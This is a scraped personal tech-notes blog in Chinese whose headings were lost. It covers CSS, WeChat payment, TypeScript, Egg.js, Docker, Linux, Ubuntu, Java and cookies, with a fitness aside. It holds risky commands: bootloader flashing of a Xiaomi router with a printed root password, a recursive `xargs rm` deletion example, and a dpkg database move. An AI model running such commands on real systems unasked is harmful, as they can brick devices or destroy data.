tenchiang / blog Goto Github PK
View Code? Open in Web Editor NEWissue blog
issue blog
.a + p
.a紧挨着的p.a ~ p
.a的所有同辈pxxx[attr-name]
xxx[attr-name='attr-value']
xxx[attr-name^='开头']
xxx[attr-name$='结尾']
xxx[attr-name*='部分']
xxx[attr-name~='空格分隔的某一个属性值']
xxx[lang|=en]
匹配en
和en-US
伪元素,两个冒号开头(老的浏览器是一个)
::first-letter
首字母::first-line
首行::before
之前(通过设置content,下同)::after
之后伪类,一个冒号开头,顺序:
:link
未访问的链接:visited
已访问:hover
鼠标悬停:focus
获得焦点(输入点):active
活动状态(鼠标点下):target
url后面的#xxx其实就是id的xxx,:target
选择#所在的的元素
:not
*:not(.className) {
color: red
}
:first-child
等价于:nth-child(1)
:last-child
等价于:nth-last-child(1)
:nth-child(1/2/3... || odd(奇数) || even(偶数)|| 表达式(如3n+1))
:nth-last-child(N)
用法同上,只不过是逆序:nth-of-type(N)
如果有多个类型,就会选择各类型的第N个:nth-last-of-type(N)
input:required
input:optional
input[type=email]:valid
有效的格式input[type=email]:invalid
无效的格式做完一组后,如果不休息,那么一个都做不了(练到所有肌纤维)
热身组后,使用大重量低次数(6~8次),通常强力练习和练到力竭是联系在一起的
大肌肉群因为复杂需要多组数,每个部位12组(3个动作 * 4组)到20组(45或54)
小肌肉群不需要太多组(9~12组)
例外:肱二头肌虽然小但是恢复快,小腿肌肉耐力好,所以可以用多组数
第1分钟力量就已经恢复了72%,3分钟完全恢复,不要让肌肉完全恢复
肌肉的耐力和强壮程度成正比
放松时吸气,用力时呼吸而不是闭气(避免受伤)
每周一次,选择一个部位,采用最大力量的动作(知道自己极限在哪里)
目的:肌肉的厚度、密度和硬度
注意:最好有人辅助(避免顾虑)
斜方肌、股二头也会练到
群设置 -> 群机器人 -> 添加机器人 -> 选择要添加的机器人 -> GitHub -> 添加
机器人名字:xxx
添加到群组:xxx
-> 完成 -> 复制webhook链接 -> 完成
项目仓库 -> Settings -> Webhooks -> Add webhooks
Payload URL
Content type: application/json
SSL verification: Enable SSL verification
Which events would you like to trigger this webhook?: Just the push event.
git push
微信JS-SDK是微信公众平台面向网页开发者提供的基于微信内的网页开发工具包。
通过使用微信JS-SDK,网页开发者可借助微信高效地使用拍照、选图、语音、位置等手机系统的能力,同时可以直接使用微信分享、扫一扫、卡券、支付
等微信特有的能力,为微信用户提供更优质的网页体验。
JSAPI支付就是属于JS-SDK的众多功能之一
JSAPI支付也即公众号支付, 是指商户通过调用微信支付提供的JSAPI接口,在支付场景中调起微信支付模块完成收款。应用场景有:
在微信里面只能用JSAPI支付不能用微信H5支付更别说支付宝支付了
openid是微信用户在公众号appid下的唯一用户标识(appid不同,则获取到的openid就不同),可用于永久标记一个用户,同时也是微信JSAPI支付的必传参数。
关于网页授权请参考我之前的文章 #17
先登录微信公众平台进入“公众号设置”的“功能设置”里填写“JS接口安全域名”。
备注:登录后可在“开发者中心”查看对应的接口权限。
在需要调用JS接口的页面引入如下JS文件:
备注:支持使用 AMD/CMD 标准模块加载方法加载
商户平台-->产品中心-->开发配置, 确保实际支付时的请求目录与后台配置的目录一致
注意: 配置后有一定的生效时间,一般5分钟内生效
统一下单需要openid, 所以需要在公众平台设置(获取openid的)授权域名, 具体在公众号设置 --> 网页授权域名
openid是微信用户在公众号appid下的唯一用户标识(appid不同,则获取到的openid就不同),可用于永久标记一个用户,同时也是微信JSAPI支付的必传参数。
用户打开商户网页选购商品,发起支付,在网页通过JavaScript调用getBrandWCPayRequest
接口,发起微信支付请求,用户进入支付流程。
用户成功支付点击完成按钮后,商户的前端会收到JavaScript的返回值。商户可直接跳转到支付成功的静态页面进行展示。
商户后台收到来自微信开放平台的支付成功回调通知,标志该笔订单支付成功。
确认签名算法正确,可用 http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=jsapisign 页面工具进行校验。
x5浏览器是安卓微信自带的浏览器(IOS不是X5), 可以配合Chrome调试微信打开的网页
开发者选项
USB调试
debugx5.qq.com
(debugtbs.qq.com
-> DebugX5
)信息
选项卡打开TBS内核Inspector调试功能
注意: 微信内网页其实算是WebView
, 这一步其实是调试的WebView, 如果调试浏览器的化, 就不用多出这么一步
chrome://inspect
Devices
那里勾选Discover USB devices
WebView in com.tencent.mm
、正在访问的网页inspect
, Chrome会打开一个调试用的新窗口注意: 不要在调试时手机熄屏, 会显示The tab is inactive
debugtbs.qq.com
-> 禁用内核
debugx5.qq.com
验证注意: 关闭x5内核之后 就无法调试微信了, 但是浏览器还是可以的
微信开发这工具上的调试, IOS调试(通过无线的代理Discover network targets
)
手机web前端调试页面的几种方式
其它调试工具
[手机网页前端调试工具](https://blog.csdn.net/u011127019/article/details/76802091
Chrome Dev Tools 里,如何通过 Remote Devices 面板,调试 Android 微信里打开的页面?
安卓微信打开X5调试,使微信页面可以在谷歌浏览器调试【chrome://inspect/#devices】
关掉X5内核让微信变得飞快~
Android 设备的远程调试入门
sudo npm install typescript -g
mkdir ts_learn && cd ts_learn
npm init -y # 生成package.json文件
tsc --init # 生成tsconfig.json文件
npm i -D @types/node # 这个主要是解决模块的声明文件问题
tsc xxx.ts
node xxx.js
TypeScript中文文档
Playground · TypeScript
TypeScript免费视频教程 ,Deno前置知识 (共15集)
undefined
:number
:数值类型;NaN
:Not a Number, 使用Math.isNaN(x)
验证Infinity
:正无穷大-Infinity
:负无穷大string
: 字符串类型boolean
: 布尔类型enum
:枚举类型any
: 任意类型void
:空类型array
: 数组类型tuple
: 元组类型null
:空类型var a:any = 1
var b:boolean = true
enum REN1{nan, nv, yao}
console.log(REN1, REN1.nan)
enum REN2{ nan = '男', nv = '女', yao= '妖' }
console.log(REN2, REN2.nan)
等价于
var REN1;
(function (REN1) {
REN1[REN1["nan"] = 0] = "nan";
REN1[REN1["nv"] = 1] = "nv";
REN1[REN1["yao"] = 2] = "yao";
})(REN1 || (REN1 = {}));
console.log(REN1, REN1.nan);
var REN2;
(function (REN2) {
REN2["nan"] = "\u7537";
REN2["nv"] = "\u5973";
REN2["yao"] = "\u5996";
})(REN2 || (REN2 = {}));
console.log(REN2, REN2.nan);
运行结果
{ '0': 'nan', '1': 'nv', '2': 'yao', nan: 0, nv: 1, yao: 2 } 0
{ nan: '男', nv: '女', yao: '妖' } '男'
$ mkdir showcase && cd showcase
$ npm init egg --type=ts
$ npm i
$ npm run tsc
$ npm start
在prod环境下,一定要先npm run tsc
把ts转为js然后再npm start
不然就算运行起来了,访问也会500报错,而且不知道是哪里报错的!
// app/extend/heper.ts
import { IHelper } from 'egg'
export default {
/**
* 打印日志信息
* @param {string} title 日志信息标题 或者备注信息 title会包含msg
* @param {any} msg 信息对象 里面的所有字段会被打印出来
* 如果msg不为对象那么msg原样输出 为空则不输出
*/
printLog (this: IHelper, title: string = '', msg: any = '') {
const { ctx } = this
console.log(`\n[${title}] >>>>>>>>>> ${new Date().toLocaleString()} ${ctx.url}\n`)
if (typeof msg == 'object')
Object.keys(msg).forEach( key => console.log(key, ': ', msg[key], '\n') ) // 这样才能显示object
else if (msg)
console.log(`${msg}\n`)
console.log(`[${title}] <<<<<<<<<< ${new Date().toLocaleString()}\n`)
},
}
注意虽然函数的第一个参数是this,但是调用的时候完全不用管,直接ctx.helper.printLog('xxx', { obj })
import { Application, Context } from 'egg'
export default (app: Application) => {
return {
schedule: {
...app.config.schedule
},
async task (ctx: Context) {
const { apiServer } = app.config
const url: string = `${apiServer}/schedule/order/unpaid/delete`
try {
/**
* data: { message: 'Not Found' }, status: 404
* data: { code: 0, data: 3, msg: 'success' }, status: 200
*/
const { data: { data, message }, status } = await ctx.curl(url, { dataType: 'json' })
console.log(`已删除 ${data} 个订单`)
if (status == 200)
ctx.logger.info(`已删除 ${data} 个订单`)
else
ctx.logger.error(`删除未支付超时订单失败: ${status} ${message}`)
} catch (error) {
/**
* errno: 'ECONNREFUSED',
* code: 'ECONNREFUSED',
* syscall: 'connect',
* address: '127.0.0.1',
* port: 7001,
* name: 'RequestError',
* data: undefined,
* path: '/schedule/order/unpaid/delete',
* status: -1,
*/
const { path, name, errno } = error
ctx.logger.error(`删除未支付超时订单失败: ${path} ${name} ${errno}`)
}
}
}
}
schedule通常有两个参数:
关于type,在单机运行,如果我有4核,那就有4个worker(默认)
注意:prod
模式下日志是输出到~/logs/appName/
目录的。在项目目录下看 appName/run/application_config.json
的 config.logger.dir 就知道路径了。其它模式是输出到appName/logs/appName/
参考:eggjs/egg#489 (comment)
日志分为几个类型
日志分为app.logger
和ctx.logger
,logger又分为info
、warn
、debug
、error
(new Error())
app.logger
和ctx.logger
的区别ctx.logger多了一些信息[用户/IP/traceId/花费ms method url],app.logger没有用户和traceId?
console.Transport
日志打印通道输出到文件级别的日志,可由config配置,如config.logger.level='INFO'
// config/config.default.js
config.proxy = true
config.maxProxyCount = 1 // 防伪造IP头X-Forwarded-For: fake, client, proxy1, proxy2
// 使用
ctx.ip
ctx.host
ctx.protocol
X-Forwarded-For 等传递 IP 的头格式: X-Forwarded-For: client, proxy1, proxy2
参考:前置代理模式
注意:下载刷机包时,先选ramips
、ralink
之类的字样(架构
),再选择CPU型号
,再搜索品牌
如xiaomi
、miwifi
这是刷机包三要素,同时也是装软件的三要素
架构 | 型号 |
---|---|
ar71xx | AR7xxx/AR9xxx/QCA9xxx |
atheros | AR231x/AR5xxx |
bcm53xx | BCM47xx/53xx (ARM CPU) |
brcm47xx | BCM47xx/53xx (MIPS) |
brcm63xx | BCM63xx |
ramips_24kec | RT3x5x/RT5350/MT7620a/MT7620n/MT7621 |
参考:https://sourceforge.net/p/openwrt-dist/wiki/Home/
打开路由器,进入管理地址,常用设置->右上角系统升级->手动升级,选择开发版固件
注意:
首先下载ssh工具包,拷贝页面上的账号密码root密码 72f7f264
,将下载的miwifi_ssh.bin
放入u盘:
miwifi.com.bin
,但是反过来暂不知能否用网页刷miwifi_ssh.binWARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
,那么请删除cat ~/.ssh/known_hosts | grep 192.168.31.1
这一行ssh [email protected]
cat /proc/mtd # 查看 rom 非必须
dd if=/dev/mtd0 of=/tmp/r1cm_system_backup.bin # 备份全部
exit # 退出路由器(服务端)回到电脑(客户端)
scp [email protected]:/tmp/r1cm_system_backup.bin . # 下载备份的系统到当前目录
scp ./breed-mt7620-xiaomi-mini.bin [email protected]:/tmp/breed-mt7620-xiaomi-mini.bin
ssh [email protected]
mtd -r write /tmp/breed-mt7620-xiaomi-mini.bin Bootloader # 刷完后会自动重启
breed可以理解为安卓的recovery,不过特别安全,用breed随便刷机
Chrome缓存的锅, 换一个浏览器或者清空缓存,因为一般用breed刷机是不会覆盖BootLoader的,breed会自动剔除里面的BL
进入breed控制台刷机
注意: 通过breed刷机的时候
因为新界面限制了很多操作,不够灵活,跳过向导后然后点击右上角图标
,选择系统设置
,选择极客模式
下面的启用
,即可回到旧管理界面
http://192.168.1.1/cgi-bin/luci/admin/system/admin
ssh运行poweroff
网络->无线->扫描
http://192.168.1.1/cgi-bin/luci/admin/network/wireless
lan
扫描
wan
注意:
系统->软件包->配置
vi /etc/opkg.conf
dest root /
dest ram /tmp
lists_dir ext /etc/opkg-lists
option overlay_root /overlay
# dest usb /mnt/sdb1/opkg # 这里有u盘插上再说!
arch all 100
arch ramips_24kec 200
arch ramips 300
arch mips 400
arch unkown 500
vi /etc/opkg/distfeeds.conf # 这是软件源
src/gz 19.02_core http://downloads.pangubox.com:6380/pandorabox/19.02/targets/ralink/mt7621/packages
src/gz 19.02_base http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/base
src/gz 19.02_newifi http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/newifi
src/gz 19.02_pear http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/pear
src/gz 19.02_packages http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/packages
src/gz 19.02_luci http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/luci
src/gz 19.02_lafite http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/lafite
src/gz 19.02_mtkdrv http://downloads.pangubox.com:6380/pandorabox/19.02/packages/mipsel_1004kc_dsp/mtkdrv
# 打印帮助
opkg -h
# 更新资源列表
opkg update
# 列出已安装的包
opkg list
# 搜索包
opkg search shadowsocks
# 安装软件,以安装curl和wget为例
opkg install curl
# 安装本地软件包
opkg install /tmp/wget_1.16-1_ramips_24kec.ipk
# 移除软件
opkg remove wget
# 移除软件及其依赖
# 主要是luci-app
# 这也是图形界面的操作
#opkg remove xxx --force-removal-of-dependent-packages
ipx
文件到路由器的/tmp
并安装scp ./*.ipk [email protected]:/tmp # 多次scp会直接覆盖文件
scp ./shadowsocks-libev* [email protected]:/tmp # 只上传shadowsocks-libv开头的文件
rm ./shadowsocks-libev* # 只删除shadowsocks-libv开头的文件 加-f 不提示
ssh [email protected]
cd /tmp
ls *.ipk
opkg install *.ipk
注意:
目前使用opkg install shadowsocks-libev-spec
直接安装新版本的Shadowsocks会报错,可以在http://sourceforge.net/projects/openwrt-dist/files/shadowsocks-libev/ 下载历史版本,2.1.4亲测可用,下载ramips版本,复制到路由器安装(省略了路径):
配置ss
vi /etc/shadowsocks/config.json # 配置ss,或在前端 服务/ShadowSocks 配置
小米路由器mini折腾之配置opkg篇
小米路由器mini折腾之安装shadowsocks-libev-spec
联想newifi+pandorabox+chinadns+shadowsocks无缝翻墙
Shadowsocks-libev for OpenWrt
使用SDK
OpenWrt编译 – 说明
频道(信道)不要乱设置(如设置为auto),5g的频道要设置为149,2.4g要设置为11,国家设置为美国
小米路由器mini/mini青春版 刷入Openwrt固件
[经验技巧] 【修复变砖的路由器】小米路由器U盘刷ROM/SSH失败的解决方案
# --name <name> 给容器取名 你不取名也会自动取名的
# -d 后台运行
# --rm 结束就删除
docker run -p 6379:6379 --name redis -d redis:alpine
docker exec -it redis redis-cli # 方式一、推荐、直接进入redis服务端
# --link <list> Add link to another container
# --entrypoint <string> Overwrite the default ENTRYPOINT of the image
# -h <hostname> Server hostname (default: 127.0.0.1) 这是redis-cli的参数
docker run --rm -it --link redis:host --entrypoint redis-cli redis:alpine -h host # 方式二
docker run --rm -it --link redis:host --entrypoint sh redis:alpine # 方式三(其实跟方式二同理)
redis-cli -h host
# -a 列出所有容器包括已结束的
docker container ls
# -a 列出所有容器包括已结束的
# -q 只显示id
docker container ps
docker container pause <name/id>
docker container unpause <name/id>
docker container stop <name/id> # SIGTERM+SIG_KILL
docker container kill <name/id> # 强行终止SIG_KILL
docker container start <name/id>
docker container restart <name/id>
# -f 强制删除正在运行的容器 SIG_KILL
docker container rm <name/id>
docker container prune # 删除所有已结束的容器
docker logs redis # 查看名为redis容器的标准输出日志
docker run -it --rm --volumes-from redis alpine # 使用名为redis容器的存储
docker container ls
docker exec -it <container id> /bin/bash
# [] 为界定符,不是可选符
dcoker images # 查看所有镜像
docker pull apline # 增
dcoker rmi [REPOSITORY|IMAGE ID] # 删 REPOSITORY 为镜像的名称
# REPOSITORY可能会只删除别名 IMAGE ID则会删除真正的镜像 当然如果只有一个镜像或没有别名 那么他们两个没有区别
docker run [REPOSITORY|IMAGE ID] -it /bin/sh # 运行镜像,产生容器
docker container ls
docker ps -a # 查 -a为显示停止的容器
docker stop [CONTIANER ID] # 停止一个运行的容器
docker rm [CONTIANER ID] # 删除一个停止的容器
docker start [CONTIANER ID] # 启动一个停止了的容器
docker attach [CONTIANER ID] # 重新接管
docker exec -it [CONTIANER ID] /bin/sh # 在已经运行的容器中再开启一个shell
docker container cp mynginx:/etc/nginx . # 把容器里面的 Nginx 配置文件拷贝到本地
# 注意:[REPOSITORY:TAG]中的:TAG是可选的
docker commit [CONTIANER ID] [REPOSITORY:TAG] # 打包容器为镜像 TAG 为镜像的版本
docker login # 登录hub.docker.com
docker tag [REPOSITORY:TAG] [NAMESPACE/REPOSITORY] # 创建镜像副本(取别名,IMAGE ID还是不变) 加入命名空间NAMESPACE/(为你的用户名)以便push
docker push [NAMESPACE/REPOSITORY] # 推送镜像
# 搭建使用私有镜像
docker run \
-d \ # 后台启动
-p 5000:5000 \
--restart always \ # 重启策略:异常退出后自动重启
--name registry registry:2 # 制定容器名称
docker push localhost:5000/REPOSITORY
docker build . -t [镜像名]
docker会在当前目录找Dockerfile进行构建
Dockerfile最重要的就是指令(大小写不敏感):
以什么镜像为基础,如FROM alpine
运行shell命令,如安装依赖,镜像写在一行,因为一个RUN就是一个镜像层
镜像层:layer,对镜像的每一次操作都会产生新的layer,layer不会出现在docker images里,但会有IMAGE ID唯一标示,为了部分更新或者是增量更新(避免重复下载或构建)
都是把本地文件拷贝到镜像中,ADD对于网络文件更好
COPY . /path
端口映射
EXPORT 80 8080
容器的8080端口映射到127.0.0.1:80
类似于cd
暴露端口expose 8080
from node:slim
run mkdir /myapp
workdir /myapp
copy package.json /myapp/package.json
run npm i --registry=https://registry.taobao.org
copy . /myapp
docker container run \
-d \ # 在后台运行
-p 127.0.0.1:2333:80 \ # 容器的80端口映射到127.0.0.2:2333
--rm \ # 容器停止运行后,自动删除容器文件
--name mynginx \ # 容器的名字为mynginx
yobasystems/alpine-nginx
docker container run \
-d \ # 在后台运行
-p 127.0.0.1:2333:80 \ # 容器的80端口映射到127.0.0.2:2333
--rm \ # 容器停止运行后,自动删除容器文件
--name mynginx \ # 容器的名字为mynginx
yobasystems/alpine-nginx
docker run --name jjqshopAdmin -p 2333:7002 c66fbb779085
docker run --name webapp -p 80:80 -p 443:443 -e URL=www.example.co.uk yobasystems/alpine-nginx
import 包名.类名
类名 对象名 = new 类名();
对象名.成员变量
、对象名.成员方法(参数)
注意:因为成员变量属于对象在堆里,而堆默认为0, 所以成员变量可以不初始化,默认为0
他们的作用域是可以重叠的!
如果只是方法变量的话,同名变量的作用域不能重叠。
public class Main {
static int a = 1;
public static void main(String[] args) {
// int a = 2;
System.out.println(a); // 1
}
}
就是看这个类有没有实例化 如果有 加不加this区别不大 如果没有那么不能使用this
可以看到Java中的this只在同名的情况下有用,区分成员变量和方法变量,其他时候没啥用
如果类没有实例化为对象,那么静态方法只能调用静态的方法和成员变量
构造方法的名称与类名完全相同,修饰符为public(也可以没有任何修饰符),没有返回值类型(void都没有)、没有return,但是它就是可以返回一个对象!
因为构造方法也是方法,所以构造方法可以重载!
如果没写构造方法,那么默认的构造方法就是public 类名() {}
,但是如果写了构造方法,那么这个默认的就没了,如果你要,你还得手动写!
public class Person {
private static int age;
public Person (int age) { // 如果没写 那么默认的构造方法就是 public Person () {}
this.age = age;
}
}
Idea自动生成Getter Setter:Alt+Insert
(也可以生成构造方法)
on Sundays或者last/next/this/that Sundays
动作发生在过去,强调已完成
动作发生在过去,强调当时该动作正在进行
What + adj. + n. + [主语 + 谓语]!
如果没有形容词, 则表示批评或不太好
What a thing to say!
What a day!
nephew 侄子 uncle
niece 侄女 aunt
使用的是vim-common
精简版,除了安装完整版之外,还有办法:
$ echo 'set nocp' >> ~/.vimrc # vim缺省是vi兼容模式 设置成不兼容模式就好了
$ echo 'set backspace=indent,eol,start' >> ~/.vimrc # 不兼容模式下修复退格键不可用问题
$ source ~/.vimrc
:set indent
、:set ai
等自动缩进,想用退格键将字段缩进的删掉,必须设置这个选项,否则不响应不然的话,只能保留第一个query参数,后面的参数因为&
符号而被丢弃
curl 127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx&PhoneNumbers=yyyyyy
# 相当于
curl 127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx
# 应该用引号包裹请求地址
curl '127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx&PhoneNumbers=yyyyyy'
tcpdump port 7777 -n -s 1024 -i eth0 -w xxx.dump
uname -a
top
df -h
uptime # 运行时间
w # display who is logged in and what they are doing
free # 内存情况
ps -ef # 进程
ps aux | grep xxx
killall xxx
env
nc <ip> <port> # NetCat
c -> create z -> gz
tar x -> extract j -> bz2 -f file.tar [files]
t -> list J -> xz
cat <<EOF > 1.txt
xxxxx
EOF
xargs命令是可以补齐管道符|
(标准输入)的, 因为不是所有命令都支持管道符如echo
, xargs能接受标准输入(Ctrl+D
结尾EOF
) 并转换为后面命令支持的参数
xargs默认是空白符号(
、\t
、\n
)作为分隔, 并把获取到的所有参数都作用在后面的命令上, 下面演示的是-n
参数, 一次最多只接受2个参数作用一次命令, 调用多次命令直到参数用完
$ echo {0..9}
0 1 2 3 4 5 6 7 8 9
$ echo {0..9} | xargs -n 3 echo
0 1 2
3 4 5
6 7 8
9
下面演示的是每次只用一行-L 1
$ echo 'a\nb\nc'
a\nb\nc
$ echo -e 'a\nb\nc' # -e表示使用转宜符 这里echo只运行了一次(\n也输出了)
a
b
c
$ echo -e 'a\nb\nc' | xargs -L 1 echo # 这里echo运行了3次(\n作为分隔符已经消失了)
a
b
c
以上-L
、-n
都可以解决xargs所调用的命令接受不了太多参数会报错的问题(因为可以一个个参数来运行多次命令)
黄金搭档find
命令, xargs怎么处理文件名包含空格(分隔符)的情况呢?
find默认每个找到的文件以\n
分隔, 也就是一行一个, -print0
表示find命令用null
作为分隔符
而xargs的-0
刚好可以用null作为分隔符~
$ find /path -type f -print0 | xargs -0 rm # 表示删除/path及其子目录下的所有普通文件
高级玩法
-I
可以运行多个不同命令--max-procs
表示并行运行多少个命令 默认为1, 如果命令要执行多次, 必须等上一次执行完,才能执行下一次$ cat foo.txt
one
two
three
$ cat foo.txt | xargs -I file sh -c 'echo file; mkdir file' # file代表foo.txt里面的参数
one
two
three
$ ls
one two three
参考: https://www.ruanyifeng.com/blog/2019/08/xargs-tutorial.html
yum -y update
升级所有包同时也升级软件和系统内核
yum -y upgrade
只升级所有包,不升级软件和系统内核
参考: https://blog.51cto.com/461205160/2095258
EPEL全称: Extra Packages for Enterprise Linux
yum install epel-release
安装EPEL后, 相当于添加了个第三方源, 意思就是可以安装更多的东西啦
参考: https://blog.csdn.net/yasi_xi/article/details/11746255
标签(空格分隔): Linux Ubuntu 安装 笔记
Ubuntu是基于Debain的免费开源的Linux发行版,其中apt-get方式的软件包管理,以及sudo方式的系统操作,简单、安全、便捷,甚至成为很多人的主力系统,其中Ubuntu Kylin(麒麟)是专为**用户的使用习惯而开发的,安装与使用方式与Ubuntu无二。本篇文章在介绍各种安装ubuntu方式的同时,也介绍了一些使用Ubuntu时要注意的,比如Ubuntu上面qq使用的解决方案、换源、更新软件等问题。
现在没有wubi了是因为随着系统更新,这种安装方式存在很多bug,所以Ubuntu14以后就不支持这种方式安装了。这种安装方式的优点非常方便,能把Ubuntu像软件一样安装与卸载,并能够与Windows系统和谐共存形成双系统;缺点就是只能使用14或之前的版本。
ubuntu-14.04.2-desktop-amd64.iso
,并把里面的wubi.exe解压出来放在iso文件的同级目录。wubi.exe
,设置用户名和口令进行安装,对同级的iso文件进行处理(只支持14.04.2这个版本)。处理完成后会提醒是否立即重启,选择立即重启。接下来系统就会进入到Ubuntu系统的安装了。如果安装后启动界面出现为/检查磁盘时出现严重错误
的提醒:
e
键,即可进入启动项编辑模式。将ro
改成rw
后,按F10
键,即可按照修改后的参数引导进入系统。shift+alt+t
打开终端输入sudo gedit /etc/grub.d/10_lupin
后回车,即可调用文本编辑器打开启动项配置文件。在打开的编辑中搜索ro ${args}
并定位到该文字项。将定位位置的ro
修改为rw
,然后保存并退出文本编辑器。再在终端输入sudo update-grub
更新启动项配置,下次启动就不会看到这个提示了。进入桌面后如果有鼠标闪烁的问题,有的时候鼠标都看不到:
控制面板->显示
把未知屏幕关掉就行。官方提供的源很慢,14的老版本有的地址都404失效了:
cp /etc/apt/sources.list /etc/apt/sources.list.bak
备份源文件sudo gedit /etc/apt/sources.list
编辑源文件,把国内的源地址任选一组粘贴进去之后保存sudo apt-get update
更新源sudo apt-get upgrade
UPDATE: update is used to download package information from all configured sources.
UPGRADE: upgrade is used to install available upgrades of all packages currently installed on the system from the sources configured via sources.list
注意源的版本跟系统的版本要一致,如deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
中的bionic
表示的是ubuntu18版本的源,如果ubuntu14要用,需要替换为trusty
,不然软件安装升级时会出错误。一些系统版本代号:
一些国内的源:
# 中科大源
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
# 阿里源
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
# 163源
deb http://mirrors.163.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-security main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ bionic-backports main restricted universe multiverse
# 清华源
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
理论上可以通过虚拟机给U盘安装任何系统。安装很方便,缺点是U盘速度不给力,系统运行体验肯定不如安装在硬盘。不过可以试试在虚拟机挂一个空硬盘安装试试。
管理->全局设定
扩展
里,添加虚拟机插件Oracle VM VirtualBox Extension Pack显示
里,最大屏幕尺寸选择提示
,宽高选择电脑屏幕实际的宽高(太小安装系统的时候有的菜单都看不到)ubuntu
,版本会自动选择Ubuntu (64-bit)
2048M
设置->存储->控制器: IDE
,右键添加虚拟光驱,选择ubuntu的iso文件F7~F12
,进入启动菜单选择U盘,或者按F2或ESC或del键进入BIOS进行固定的设置首先查看源的版本,如果源的版本没问题的话,看看是安装哪些软件时出的错误,尝试下面包括但不限于的代码:
cd /var/lib/dpkg
sudo mv info info.bak
sudo mkdir info
sudo apt-get clean
sudo apt-get install -f
Ubuntu 18.04换国内源 中科大源 阿里源 163源 清华源 - CSDN博客
将Linux(ubuntu)安装到U盘上,实现即插即用 - CSDN博客
[源列表 - Ubuntu中文](http://wiki.ubuntu.org.cn/源列
由于HTTP是无状态的,所以需要一些方式实现保存状态,比如服务端的状态就是返回的状态码,而客户端的状态就用cookie和session,用来记录用户状态:
Session cookies
Set-Cookie: yummy_cookie=choco
Permanent cookies
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意,头部的关键字首字母为大写
如果同时设置Expires
和Max-Age
,那么以后者为标准
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[页面内容]
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Secure
的cookie只会在https
请求的时候放在头里发送给服务端Secure
也保证不了它的安全性,可以对cookie再进行一次加密Document.cookie
访问(防止跨域脚本XSS攻击
)Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Domain
和Path
标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。
host
可以接受Cookie,不指定默认为document.location.host
